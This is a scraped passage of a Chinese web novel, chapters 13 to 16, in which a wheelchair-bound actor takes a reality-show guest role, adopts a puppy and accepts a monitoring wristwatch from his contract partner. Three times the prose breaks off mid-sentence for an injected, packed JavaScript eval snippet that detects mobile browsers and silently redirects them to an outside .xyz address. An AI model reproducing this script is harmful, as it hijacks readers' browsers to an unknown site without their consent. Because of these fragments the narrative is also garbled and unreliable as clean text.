虽然有了迟归的协议帮助,他暂时不需要为了治疗费和生活费发愁,但协议始终有到期的一天。 景瞬早已经过了天真的年纪,有了前车之鉴,他再也不想把自己的未来寄托在别人的身上。 他明白自己早晚要离开迟家,到时候,不仅得还钱给迟归,还得面对各式各样的花销问题。 既然活着,就要长远打算。 “喻哥,我想要在力所能及的情况下攒点钱。”景瞬抿了一口果茶,试图压住那点不自信,“如果、如果还能和娱乐圈挂钩的话,那是最好的。” “小景,我明白你的意思,你作为一个演员,的确不能长期缺乏曝光和话题。”喻修竹真心将景瞬当成弟弟看待,自然想着帮忙。 他在脑海里努力搜刮了一圈,灵光乍现,“你别说,我还真想到了一档节目!” 13.【第013章】 景瞬没想到喻修竹当下就有了想法,眸色一喜,“节目?” 喻修竹放下咖啡杯起身,“你等我一下。” “好。” 景瞬目送着喻修竹离开休息室、朝着不远处的办公室走去,没过三分钟,对方就带着薄薄几页A4纸走了回来。 “小景,你看看?” 喻修竹将刚刚打印的纸质策划递了过去,“是一档观察类的职场真人秀。” 景瞬听见这档节目类型,眉心微蹙,但他没有急着发问,而是认真看起了这份策划案—— 这档综艺的全名叫做《这!就是真职场!》,从名字就不难看出录制的核心内容。 节目将聚焦当下最热门的职场话题,选取帝京、海市的标杆企业公司作为职场背景,通过“新人”加上“老手”的一带一模式,揭秘不同行业内的真实职场环境。 预设一共八期正片,加两集节目番外。 喻修竹见景瞬还在翻看策划案,主动说起自己已知的情况,“这档节目采用职场真人秀+嘉宾观察室,双部分组成。” 这是当下最常见的演播模式。 “职场部分已经录制得差不多了,节目正片剪了一大半,这个月中将会开始第一轮的嘉宾观察录制。” “听说原定的一位艺人突然档期不合适,没办法来了,节目组这边又挺着急的,所以想让我帮忙找找,有没有合适的后补人选。” 景瞬看向喻修竹,“喻哥,你想让我去当观察室嘉宾?” 喻修竹没有否认,“观察室部分的录制相对简单,比较适合你现在的情况。” 坐在演播室里看真人秀正片,发表自己的观点,然后再和其他嘉宾一起进行有效的讨论。 通常来说,不太需要运动量。 景瞬明白喻修竹的弦外之音,只是他这些年一心想着演戏,从来没有参加过类似真人秀的录制。 见眼前人还有些踌躇,喻修竹干脆将自己知道的消息全盘托出: “小景,这档节目不止是网播,还是海市卫视出品的上星综艺,S+级别,听说职场部分的嘉宾颜值和能力都很优秀。” 电视台那边就是冲着开年爆款去的,播出后肯定少不了大肆宣传。 哪怕观察室嘉宾不是主体,那也肯定不缺曝光和话题度。 从客观层面来说,景瞬目前的身体情况很难遇到合适的剧本、回到镜头前。 如果能参与这档综艺的录制,既能确保他在一定程度上的公开露面,又能相对稳妥地拿到通告费用,确实是当下最优的选择。 景瞬摩挲着还留有打印余温的纸张,心尖微微发烫,“喻哥,我明白你的意思,但我现在这种身体条件,节目组会愿意让我去当观察嘉宾吗?” 喻修竹确认了他的想法,笑开,“你不是说了这腿能好吗?以往圈内也不是没有明显骨折受伤、坐着轮椅参加节目的,你这不算个例。” 话里话外,他都没有将景瞬故意区分开来、特殊对待。 景瞬心尖一暖,试图抓住这个机会,“我想试试,就怕节目组看不上我。” 喻修竹说,“不怕你知道,这节目制片人之一是我的小姑,所以才会找我推荐合适的艺人嘉宾。” “要是你有这个想法,我就去和节目组谈谈,选上的几率总归比一般人多些。” “不过,我确实不能打包票,具体情况到时候再联系你?” 景瞬就没想着一定能拿下这份通告,他当即将自己的期待值降到了最低,“嗯,那就麻烦喻哥了。” “和我客气什么?从现在起,我就是你的经纪人了。” “嗯。” … 见完喻修竹后,景瞬就回归到了正常的生活节奏—— 虽然宋老教授诊断他双腿恢复的可能性很大,但手术不是小孩子过家家,难度系数不小,团队需要制定严谨的开刀方案。 身为病患的景瞬配合着一切的术前检查和准备。 不过,温医生开的药也起了作用。 接连一周,景瞬的睡眠质量得到了显著提升,每每一觉沉睡到自然醒,很少再受到了噩梦的侵扰了。 转眼又是一个大晴天。 景瞬闲来无事,特意在午后挑了两部经典的系列电影来看。 身为演员,景瞬其实一直保持着足够的影片摄入,以往还会定期深扒每部影片的节奏、甚至还会找已公开的剧本段落来分析。 当初上大学时,他就想着哪怕自己未来不做演员,也可以转行尝试当一名电影编剧。 后来,也算是“一语成谶”—— 上辈子受困在轮椅上的那几年,景瞬确实没了拍戏的可能、做不了演员了,于是他尝试着编写过一部原创的电影剧本。 只是剧本结尾,他怎么改都不满意。 “……” 景瞬想起那本“临死前”都没完成的电影剧本,脸上浮动出一丝遗憾,还没等他深入去想,窗外的后院就响起了一阵奶呼呼的狗叫。 “唔嗷~” “……” 景瞬还以为是幻听,不确定地偏头看向窗外,很快地,隐隐约约又是一声,“汪!” 可惜因为轮椅高度有限,景瞬没办法看清楼下的情况,好在电影已经播放到了尾声,于是他操控轮椅出了屋。 一楼后院,宽敞又整洁的草坪上,管家林叔和几位佣人正围成一团,脸上带着或多或少的笑意。 管家最先发现了景瞬的身影,侧身让出点空间,“小景先生,你来了正好,快来看看。” 直到这时,景瞬才发现管家的脚边还跟着小小一团的幼犬,小狗全身都是奶白色的,唯有一对耳朵尖尖是淡黄色的毛发。 大概听见了轮椅转动的声音,这只幼犬不但不害怕,反而还屁颠颠地跑了过来。 它在景瞬脚边站定,仰起脑袋,“呜汪!” 喔~ 超凶! 景瞬的注意力瞬间找准了对象,捏着它的后脖颈提了起来,“林叔,哪来的小狗?” 虽然迟宅占地面积很大,但处处都有人修理维护,外面的流浪狗不像能随意跑进来产崽。 突然被捏住了命运的后脖颈,幼崽立刻变脸,奶声奶气地哼哼唧唧,乖乖趴在了景瞬的膝盖上。 管家走近,说起这只小狗的由来,“亲戚家养的,才两个多月,说是家里的母犬一下子生了好几只,实在是养不动了,这几天都在松江农贸市场的门口叫卖呢。” “这不,非得说要送我一只,让我要是养不了,就找能养的人免费送了。” 有佣人凑上前来说,“哎哟,这种土狗可护主、可聪明了。” 说话间,怀中的幼犬使劲蹭了蹭景瞬,毛茸茸的脑袋毛蹭过手背,激起一阵熟悉的、令人怀念的酥痒。 景瞬揉着小狗蓬松的毛发,眼里的喜欢自然而然地溢出了出来,“是土松犬,我小时候也养过一只,和这只差不多。” 管家了然,“小景先生,你喜欢?” 有佣人接话,“那不正好?小景先生要是喜欢的话,就直接养了吧!免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057227|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得再给这狗找新主人了。” 另外一位佣人也搭腔,“是啊,我们是迟先生雇佣进家里做事的,平日里不好养小猫小狗的。” “……” 景瞬听着众人你一言我一语的,没有直接应下。 他还记得前几天在车里和迟归聊起养狗时,对方的神色很淡,想来应该是不喜欢的。 景瞬看着怀中的幼犬,“这事我做不了主的,得迟先生同意才行。” 话音刚落,身后就响起了一道询问,“什么要我同意才行?” 景瞬侧过身,对上了迟归靠近的高大身影。 管家和佣人们不约而同地收敛了笑容,对来人多出一份尊敬,“先生,今天怎么回来得这么早?” 跟在迟归身边的陈易铭代替接话,“有个会议临时改期了,所以就提前回来了。” 他的视线往景瞬怀里一落,“哟,小景先生,哪里来的小狗啊?” “林叔亲戚家的,想要让他帮忙找人收养。”景瞬解释着,不由看向迟归,“我看着挺可爱的,抱着玩玩。” 话虽如此,可他始终没舍得将小狗交还给林叔,反正横竖是养不了的,这会儿能多抱一会儿是一会儿。 迟归明知故问,“你想养吗?” 景瞬捏着小狗软乎乎的肉爪,带着一丝外露的遗憾,“还是算了,我的身体情况不方便养狗。” “嗷呜~” 怀中的幼犬像是听明白了,努力扒拉在景瞬的身前,还试图用鼻尖和小舌头去挽留他。 景瞬不嫌脏,而是用指尖点了点它的鼻尖,“乖。” 怀中的小狗确实很聪明,当下就乖乖不闹了。 迟归看见这一幕,“你想养就养着吧。” 景瞬意外,“嗯?” 管家是懂察言观色的,“家里那么多人呢,一只小狗而已,平常我们有空帮忙遛遛不是什么难事。” 有佣人搭话,“就是啊,小景先生,我看这狗和你挺投缘的。” 景瞬听见这些劝词,眉眼间忍不住多出一丝神采,“我真的可以养吗?” 迟归对上他明亮的眼色,本来就没拒绝的心,“可以,你需要什么宠物用品就和易铭说,让他去买。” 陈易铭想起车子后备箱里早早买好的一堆宠物用品,看破不说破,“没问题。” 景瞬扬唇,“嗯!那我待会儿仔细想想,再写个清单。” 好在他以前就养过小狗,有经验。 林叔看着明显情绪上升的景瞬,又看向迟归请示,“那我在院里给小狗搭窝?” 迟归颔首,“嗯。” 他始终没那么喜欢犬类,让景瞬接受心理医生的建议在院里养狗,已经是他的底线了。 “……” 景瞬听见主仆两人的简短问答,揉着小狗的动作停了停,他重新看向迟归,带着点连自己都没意识到的得寸进尺。 “迟先生,我可以把它养在我的房间吗?” “……” 迟归沉默,回答不上来。 景瞬解释,“现在天气还太冷了,幼犬待在室外容易生病,我保证会教会它定点上厕所,不会让它在家里乱来的!” 他将肉墩墩的小狗调转方向,举在迟归的面前晃了晃,“你看看,它看着就很乖!” “呜~” 幼崽仰头,奶呼呼地嗷了一声,彰显自己的存在感。 “……” 迟归望着莫名有些相似的一人一狗,心里的底线一退再退,“行吧,你自己看着来。” 14.【第014章】 景瞬在取名这块向来没什么天赋。 以前在剧组收养的狗狗沿用了剧内的名字,如今又一次喜提“狗爸”的头衔,他在短短两天筛选了无数个小狗名称,愣是没找出一个满意的。 于是,只能暂时“狗宝”、“宝宝”地喊着。 好在土松犬一向聪明、懂人话,才两天时间,狗宝就学会了定点上厕所、握手、坐下等一系列常规操作。 景瞬这会儿闲着没事,坐在房间外厅逗狗,“狗宝!坐下!” 狗宝啪叽坐稳,仰头呼应,“嗷呜!” 景瞬被萌得一激灵,“嗯~谁是全世界最乖的小狗!” 狗宝积极响应,“汪!” “……” 迟归才靠近房间,就听见了正在跨物种交流的一人一狗,嘴角不自觉地弯了弯。 景瞬发觉了出现在门口的身影,“迟先生?” 狗宝也跟着转身,警惕地望着将近一米九的迟归,明明才那么丁点大的身形,就敢护在景瞬的面前,冲上前去。 “——汪!” 超凶! 但没什么威慑力。 站在门口的迟归垂眸,和它隔着点距离。 狗宝见这招震慑不到突然出现的敌人,扬长脑袋发动连击叫唤,结果因为喊得用力过猛,反倒把自己摔了四脚朝天。 “……” 迟归轻挑了一下眉头。 景瞬被狗宝初生牛犊不怕虎的劲可爱到了,忍不住笑,“好了,过来。” 狗宝意识到自己打不过眼前的庞然大物,委屈巴巴地跑回景瞬身边,扒拉着他的腿哼唧叫唤。 景瞬将它搂到膝盖上安抚,“不吵了,待会儿用羊奶粉给你泡狗粮,好不好?” 狗宝蹭了蹭他的手心,顿时安静趴下。 迟归瞧见这一幕,“这狗很听你的话。” 景瞬的眸底沾了点小小的骄傲,“嗯,挺乖的,很好教呢。” 他想起狗宝刚才冲着迟归的一通乱叫,解释,“迟先生,幼犬小时候就比较调皮的,刚刚和你闹着玩呢,你别介意。” 迟归盯着钻进景瞬怀里的小狗,慢半拍地移眼,“……我还不至于和一只小狗计较,能进去吗?” 景瞬见他还站在门口,连忙点头,“当然。” 迟归走近,直接将大衣口袋里的黑盒拿了出来,“给你的,打开看看。” “给我的?” 景瞬接过沉甸甸的盒子,有些迟疑地打开—— 手感很好的黑绒盒子里,装着一块黑蓝配色的腕表,不像是市面上常见的牌子款式。 景瞬愣了愣,“手表?” 迟归说,“我让人从海外加急定制的监测腕表。” 这只腕表是研发团队专供私人服务,结合了目前市面上全方位的身体实时监测功能,精确到以分为秒的数据分析。 当然,还带着定位最基本的功能。 只要使用者愿意开放权限,就能够全天候地实时监控,定时生成数据传送到监护人的手机里,遇到突发危机情况时,还能自动报警定位。 除此之外,还有一些隐藏的功能权限,有需要的话也可以一一开启,就比如在侧面的旋钮上还有一个隐形摄像头,可以暗中进行画面录制。 迟归将手表的作用简单告知景瞬,“从今天起,你得时刻戴着这只腕表,这就是上次我说过的惩罚。” 之前景瞬背着迟归私自行动,还在宴会角落将迟盛刺伤,两人事后提过“违约惩罚”一事。 “……” 景瞬记得这事,但没有立刻表态。 他望着盒子里的腕表,脑海中联想到的却是上辈子的遭遇—— 那时的迟盛打着“为他好”的名义,在家里各处都安装了监控,说是为了方便随时掌握他的情况,免得他独自在家出现危险。 结果,监控实时记录下了景瞬每一次的狼狈,到头来成了迟盛嘲笑他的工具。 沉默的时间长了些。 迟归看穿了景瞬眸底的纠结和抗拒,话到嘴边却没了强硬,“景瞬,迟氏内部关系复杂,小争小斗就没停过,现在你和我同住一个屋檐下,免不了以后有人会找你麻烦。” “既然双方签订了协议,我就应该为你的健康和安全负责。” “还有,你上回瞒着我和外人对峙那样的事情,我私心不希望存在第二遍。” “……” 景瞬的沉默还在继续。 迟归眉心溢出一丝无奈,“算了,如果你真的不喜欢……” “好的。” 景瞬抢在对方收回这些话之前,应了下来,“我听你的。” 两人间存在合约,他又是在扮演迟归的“另一半”,自然得配合对方能随时能够找到他。 景瞬主动将腕表佩戴在了左手,“嗯,这样就可以了吗?” 迟归走近,“要设置一下权限,得你本人同意才行。” “哦。” 景瞬照做,突然觉得也没想象中的不自在。 说好的“惩罚”,但出发点不算坏,而且各项操作都得遵循他本人的意愿。 最要紧的是,眼前人是迟归,又不是曾经的迟盛。 因为回忆而紧绷的心弦松了下来,景瞬摩挲了一下表盘,“那我的身体数据是会实时传输到你那边?定位也是?” “嗯,里面有我的联系方式,你有事可以找我。” “好。” 景瞬研究一下,点下授权。 机械音响起:已识别本机人脸,已开启实时监测,数据将发送至监护人“S”手机。 监护人? 景瞬听见这个微妙的词汇,怔了怔。 自从十八岁成年、得知父母离婚后,他就没了所谓的“监护人”。 哪怕双腿不便,景瞬也没有要求任何人来监护自己的健康安全,这会儿虽然只是定制手表上的说辞,但还是让他有了瞬间的联想—— 如果以后再出了事,至少迟归会知道? 景瞬心尖一凝,下意识地喊了眼前人的全名,“迟归,我……” 滋滋滋。 手机突然响起来电震动,打断了下文。 景瞬立马回过神,礼貌改口,“迟先生,你的手机响了。” “……” 迟归沉住呼吸,接通电话,“喂?” 手机那头的陈易铭察觉到自己老板隐隐不悦的语气,犹豫了两秒才说明情况,“先生,宅门口有人找小景先生。” 两人的距离挨得近,景瞬听见了这声传话,“找我的?谁啊?” 迟归打散那点不着调的烦躁,重复发问,“谁找他?” 电话那头的陈易铭如实汇报,“喻修竹。” 景瞬惊讶,“喻哥?” 他是将自己现在的住址告诉了喻修竹,但没想到对方居然这么快就找上了门。 迟宅的门禁很严格,一般外人是进不了的。 不请自来的喻修竹正在大宅门口犯难,结果刚好遇上了办完事回来的陈易铭,这才有了当下的这通电话。 十分钟后,喻修竹出现在了两人的眼前。 景瞬率先喊了一句,“喻哥。” “嗯。” 喻修竹应声。 他认出外厅里的迟归,带着该有的礼数,“迟董,初次见面,我打小景电话一直没人接,这才冒昧上门,实在抱歉。” 迟归微微颔首,“来者是客,喻先生请坐吧。” “喻哥,我手机在静音充电,没注意到你的来电。” 景瞬简单解释,又猜测,“是不是节目那边有结果了?” 喻修竹点头,不确定地瞥了一眼边上的迟归。 景瞬明白他的暗示,也不藏着掖着,“喻哥,我现在外出都是要和迟先生报备的,你有话就直说吧。” 迟归捕捉关键词,“什么节目?” “……” 报备? 这两人到底是个什么情况? 喻修竹心有疑惑,但他知道眼下不好多问,只好先说正事,“小景,我已经和节目组谈过了,他们非常欢迎你去参与录制。” 他将自己随身带来的草拟合同递给了景瞬,“你看看?通告费什么的,节目组给得很合理。” 景瞬惊喜,“真同意了?” 迟归借机弯下腰,“方便给我也看看吗?” “……” 两人间的距离突然拉近。 景瞬觉得自己稍稍偏头就能触及到迟归的肩膀,对方衣服上熟悉的茶香味缓缓萦绕、包裹,一点点侵占所谓的安全界限。 景瞬无意识地捏紧了合同边缘,往边上递了递,“嗯。” 喻修竹没料到迟归会关心这些,想了想,递去备份合同,“我这儿有备份的。” 迟归眼也没抬,“不用。” “……” 喻修竹吃瘪,只能自顾自说明情况,“观察室嘉宾一共需要进行四次大录制,每次都要观看两集正片。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061972|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 整季节目一共八集正片。 景瞬想起自己即将到来的手术,“喻哥,录制时间确定了吗?” “第一、二轮的录制就在下周,录完后会有半个月的休息期,我确认过了,不会和你的手术撞档。” 喻修竹轻易打消了景瞬的顾虑,“我知道你术后需要时间恢复,所以和节目组特意商量过了——” “你可以缺席第三轮的录制,至于第四轮录制时间还没正式确定,到时候再看。” 景瞬听见通告上的安排,不由松了一口气。 这样既不耽误他的手术治疗,还能满足他的赚钱需求。 迟归将草拟的合同看了一遍,直起身,“这节目有点耳熟?” 陈易铭早就瞥见了备用合同上的节目名字,“先生,我们迟氏旗下的投行分公司有职员参与录制,之前分公司的越总在季度会议上提及过这事,您批准了的。” 景瞬讶异,“节目组还找了迟氏?” 喻修竹看过节目完整策划,“我听说海视这次找了迟氏金融、小麦科技、百川影视、娱果传媒四大公司的员工进行录制。” 真人秀的录制分散在各地的公司总部,但观察室嘉宾的录制部分是在海市本地。 喻修竹也不拖泥带水,“小景,节目组那边比较急,他们下周就要全平台官宣,我们今天必须要有答复。” 这正是他直接动身来找景瞬的原因。 “喻哥,节目组愿意给我这个机会,我当然是想要参与录制的。” 景瞬毫不犹豫地表达自己的态度,目光却转向了迟归,“迟先生,我……” 迟归对上他暗含询问的视线,反问,“你确定你能吃得消节目录制?” 景瞬早就考虑过类似问题,“嗯,我确定,我也想去做。” 没人比他更清楚自己想要什么。 哪怕只是节目录制、不是演戏,但这是景瞬上辈子梦寐以求的机会了。 迟归听见这话,没拒绝,“嗯,知道了。” 松口得太过容易,景瞬有些不确信,“你不反对?” “你正常的工作社交,我不会反对。” 迟归从来没有想着要限制景瞬的自由,将他困在这一片宅院牢笼里,他们只是签订了协议,不是卖身契。 喻修竹听见两人的沟通,干脆趁热打铁,“小景,节目官宣需要嘉宾提供个人海报,今天时间还早,要不你待会儿就跟我去拍了?” 景瞬没想到来得这么匆忙,但还是应了下来,“好的。” … 事情谈妥,喻修竹先下了楼。 景瞬简单收拾了一番,没等出外厅,就受到了狗宝的阻拦。 “嗷呜嗷呜!” 狗宝在地上来回蹦跳,似乎是在提醒什么,“呜~汪!” 景瞬看见它空空如也的狗碗,这才反应过来,他连忙将羊奶粉泡开,又倒入了适量的狗粮。 狗宝眼巴巴望着他,尾巴转成小螺旋桨。 景瞬心软得不像话,抱起小鼻嘎狗宝,“宝宝乖,我待会儿要出去一趟,你在家吃饱了睡觉,别闹腾。” “嗷~” 狗宝舔了舔他的下巴。 刹那间,迟归的声音传来,“景瞬,喻先生在车里等你了。” 景瞬一愣,才发现迟归还坐在外厅没有离开。 他赶紧将狗宝放下,顺势将泡软的狗粮放在地上,“宝宝,吃吧,在家乖乖的!” 狗宝埋头苦干,“嗯嗯嗯~” 景瞬安顿完自家崽子,操控着轮椅出屋,“迟先生,那我先走了,晚餐可能不回来吃了。” 迟归瞥见他佩戴好的腕表,“嗯,知道了。” 很快地,景瞬乘坐电梯下了楼。 迟归没急着回到自己的房间,而是走近看着正在干饭的幼犬,狗宝听见身后的动静,警惕转身嗅了嗅来人的裤脚—— 这气味,不好惹! 狗宝打不过,于是装乖摇了摇尾巴。 迟归垂眸盯着这只小不点,想起景瞬临走前对它又蹭又抱,“他叫你……宝宝?” 狗宝听见自己的名字,积极讨好,“嗷!” “……” 这取得什么名?喊谁宝宝呢? 迟归蹙眉,用鞋尖轻轻踹了一下狗碗,“不好听。” 狗宝眼见着自己的饭碗被踹,不装了,超凶地喊,“汪!” 宝好! 人坏!! 人超坏!!! 15.【第015章】 景瞬和节目组签完合同,正式接到了第一轮录制的明确时间。 录制地点就在海市本地,路程上挺方便的,即便如此,景瞬还是提前到达了海市卫视的壹号演播棚。 喻修竹是他的挂名经纪人,陪着一块来。 两人刚进入演播大厅,一声熟稔的招呼就传了过来,“修竹,你们这就到了?” “……” 景瞬和喻修竹不约而同地朝着声源看去。 来人看着才四十岁出头,黑色棉服将他的身形压得敦实,颇有肉感的脸上架着一副眼镜,笑眯眯地朝着他们走了过来。 景瞬不认识这张陌生面孔,但喻修竹回应了这声招呼,“孟制片,你好。” 他对上景瞬暗含询问的目光,充当起双方的介绍人,“小景,这位是节目组的制片人之一,孟志德。” “孟制片,这位就是我之前提过的景瞬,也是我们竹林经纪的签约艺人。” “哦~” 孟志德轻推了一下眼镜,藏在镜片下的目光在他的双腿上微微停留。 景瞬确认了来人的身份,扬起一抹礼貌的微笑,“孟老师好,初次见面,我是景瞬,很感谢你和节目组能给我这次录制机会。” 孟志德看清他的样貌,兴致更浓,“客气了。” 娱乐圈里的童星不少,但很多都是昙花一现—— 灵气再足的小演员,随着生长和发育都有可能“长歪长残”,从而彻底退出公众视线。 如今以童星身份出道、还在继续活跃在圈内的演员艺人屈指可数。 孟志德阅人无数,景瞬的骨相和皮相都算得上是其中的佼佼者了,“我看过你小时候的影视作品,真是越长越精致漂亮了啊,不错。” “……” 面对孟志德突如其来的夸赞,景瞬一时接不上话。 喻修竹帮忙接应,“孟制片,我们小景第一次参加这档节目,还请您多多关照,后期多给他留些镜头。” “好说好说。” 孟志德笑笑,示意他们一块往里走,“你们来得太早了,其他嘉宾团队还在路上没到呢,要不先到我休息室坐坐?聊聊天?” 景瞬和喻修竹对视了一眼,碍于孟志德的身份不好拒绝。 “行,那就麻烦孟制片了。” … “老师们,请慢用。” 助理将买来的咖啡递到了茶几前,识趣地退了出去。 孟志德率先端了一杯,开启话题,“其实这次得亏有景瞬临时顶上了空缺的嘉宾位置。修竹,你们算是帮了节目组的大忙了!” “改日有机会,我还得单独请你们喝一顿才行。” “孟制片,你这就客气了。”喻修竹见惯了娱乐圈里的话术,替景瞬应对得游刃有余,“小景刚在来的路上还说,觉得是自己捡漏了呢。” 景瞬也懂礼数,“孟老师,要请也得是我感谢你们才是。” 孟志德笑开,显然对他们的话很受用。 铛~铛铛~ 喻修竹的手机响起了来电提醒,打断了这场聊天。 他看见了屏幕上的联系人名,略带歉意地起身,“孟制片,是银姐打来的电话,我去外面接一下。” 他口中的“银姐”正是这档节目另外一位制片人,喻银河。 孟志德颔首,“嗯,你忙你的,正好我和小景随便聊聊。” “嗯,小景,你先坐一会儿。” 喻修竹拍了拍景瞬的肩膀,快步走到了门外,接通电话。 休息室的门虚掩关上。 景瞬望着不远处的孟志德,眸底沾染上一丝小小的尴尬和无措。 他从小就待在剧组人堆里,以往最不畏惧和陌生人交际,遇上谁都能外向地攀谈上几句,可今时不同往日—— 前世遭遇事故后的那几年里,他因为致残的双腿,暗中排斥并且拒绝了一切正常社交,渐渐变得不爱和外人交流。 这会儿,突然和圈内制片人对坐着,说不拘束是假的。 孟志德看出景瞬眉间遮掩的情绪,端起一杯未开封的咖啡,起身坐得离他近了些,“是不是有点紧张?喝点?” 景瞬不爱喝咖啡,但出于礼貌还是接过,“谢谢孟老师。” 孟志德表露关切,“我之前在微博上看到过剧组事故的热搜,实在是替你惋惜,听修竹说你下月要动手术了?治愈的几率大吗?” 提及这一话题,景瞬的眸光黯淡了些。 哪怕宋老教授说过手术痊愈的几率很大,但上辈子的阴影还在,他不敢对自己的未来打包票。 景瞬不方便对外人倾诉过多,只简单回答,“嗯,是要手术,暂时不知道术后会恢复成什么样。” 要是恢复得好,他的未来尚有希望。 要是恢复得一般,或许…… “这有可能是我最后一次公开露脸的工作机会了。” 景瞬回过神,将话题绕回到节目上,“孟老师,虽然我行动不如其他人方便,但我会尽量不给节目组添麻烦的。” “欸,什么麻不麻烦的?” 孟志德推了一下眼镜,出声安慰,“人这一辈子那么长,谁还没个病痛?有人愿意帮忙拉一把不就好了?” 他说着,猝不及防地拍了拍景瞬的大腿,“哪怕痊愈不了也没事,以后我这边有合适的通告,照样可以帮你引荐。” 掌心摩挲的力度隔着裤料传来,景瞬顷刻钻上一丝不适应。 只是没等他出声,孟志德就已经收回了手,老神在在地靠在沙发背上,“你这张脸啊,不混娱乐圈那就可惜咯。” “……” 景瞬思绪微凝,总觉得有哪里不对劲。 只是还没等他想出个所以然来,休息室的门就重新打开了。 喻修竹走了进来,身后还跟着一位长相冷艳的女士,是喻银河。 喻银河对上孟志德在沙发上闲坐的身影,开口就是一段干净利落的交代,“老孟,到点了,今天录制前会议由你负责,别忘了。” “其他艺人和妆造团队差不多都要到了,我先带着修竹和景瞬一块儿上楼。” 虽然同为节目制片人,但喻银河在节目组的权利要更大一些。 孟志德拿她没办法,只好起身,“嗯,知道了,这就去。” 喻修竹走到景瞬的边上,轻拍了一下轮椅背,“小景,该做妆造了,我们也走吧。” 景瞬如释重负,“好。” … 海市卫视壹号演播厅的面积不小,上下一共有六层,节目组的专属接待厅在五楼。 趁着等电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065446|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯的功夫,喻银河主动和景瞬攀谈起来,“景瞬,你在节目录制过程有任何不便都可以直接提。” “照顾每一位嘉宾本来就是节目组应该做的,你不要怕麻烦我们。” “还有,节目正片播出后,我会派人实时监控着网络舆论,不会恶意去拿你的身体情况、当做营销热点,所以你不需要有任何心理负担。” 仅用三言两语,就解决了景瞬残存的顾虑。 他没了刚才应对孟志德时的局促,真诚道谢,“谢谢喻制片。” “不用那么客气。”喻银河看了一眼边上的喻修竹,少了些对外的冷酷,“修竹把你当成弟弟看待,那我照顾自家人是应该的。” 喻修竹听见这话,跟着笑,“那我先谢谢小姑了。” “欸,打住,在外都要喊我‘银姐’。”喻银河挑眉,“别小姑、小姑的,听着我都老了。” 话里,电梯门就打开了。 喻银河率先迈了进去,“进来吧,我带你们上五楼。” “嗯。” 喻修竹推着景瞬的轮椅进去。 景瞬看着缓缓上升的电梯,忍不住问,“银姐,今天参与录制的嘉宾都有谁啊?” 节目组今晚才会正式官宣观察室的嘉宾团,景瞬是临时加入的,关于其他嘉宾的消息知道得并不全面,他只知道观察团的主持人是严韬。 对方是海市电视台的当家主持人,主持过大大小小近上百档的综艺节目。 喻银河见他好奇,干脆明说,“参与节目录制的四家企业,会派代表来充当飞行嘉宾,常驻观察室嘉宾请了歌手春蕙,还有雅米,她是我们台去年选秀出道的年轻爱豆。” 电视台的节目资源流向自家旗下的艺人,很合理。 喻修竹想起一事,“对了,傅长汀那边确定了吗?会来吗?” “……” 景瞬听见这个名字,心里一惊。 如果说,前两位常驻嘉宾是歌手、是爱豆,还是他不太熟悉的领域,那么傅长汀这号人物,他算是耳熟能详了。 傅长汀是眼下娱乐圈里风头正盛的实力派演员,更是手握三金的视帝! 当年,对方凭借着仙侠剧《神梦》里的男主一炮而红,而后的十年时间里,傅长汀仿佛成了收视率的保障,由他参演的影视作品都呈现出不同程度的火爆。 景瞬之所以对傅长汀这么了解,是因为两人曾经先后有过两次合作—— 十年前,傅长汀在《神梦》里饰演成年男主,而剧中少时男主的扮演者是景瞬。 后来,相差了九岁的两人还在另外一部电视剧里扮演了两兄弟,当然,身为配角弟弟的景瞬戏份不多,只出现在男主的回忆里。 喻银河点头,“嗯,好不容易才磨下来的,傅长汀即将开拍的一部电视剧,我们海视参与了投资合作,他来参加我们节目,算是暗中的资源置换了。” 叮咚。 电梯门抵达了五楼。 景瞬主动操控着轮椅往外走,正巧听见了隔壁电梯的开门动静,他偏头看去,就看见另外一行人从左边的电梯间里走了出来。 为首的,是位戴墨镜的高个男人,薄唇微抿,气场逼人。 景瞬一晃眼,就听见边上的喻银河笑道,“巧了,还真是说曹操曹操就到。” 16.【第016章】 为首的高个男人投来视线,顺手摘下了墨镜,“银姐,又见面了。” 喻银河主动和他握手,“长汀,欢迎你来参加我们节目。” “能参加银姐监制的节目,是我的很荣幸。” 傅长汀微笑着回应,目光却落向了她身旁的景瞬。 喻银河顺着他的视线,开始充当起了双方的介绍人,“长汀,我来和你介绍一下——” “这位就是景瞬,也是这次观察团的嘉宾之一。还有,这位他的经纪人喻修竹。” 傅长汀看清对方身下那无法忽视的轮椅,眸中掠过一丝复杂,“嗯。” 景瞬早就察觉到了傅长汀投来的视线,他考虑到对方如今的身份和地位,礼貌而规矩地招呼,“傅老师好,我是景瞬,很荣幸能和你一块录制节目。” “……” 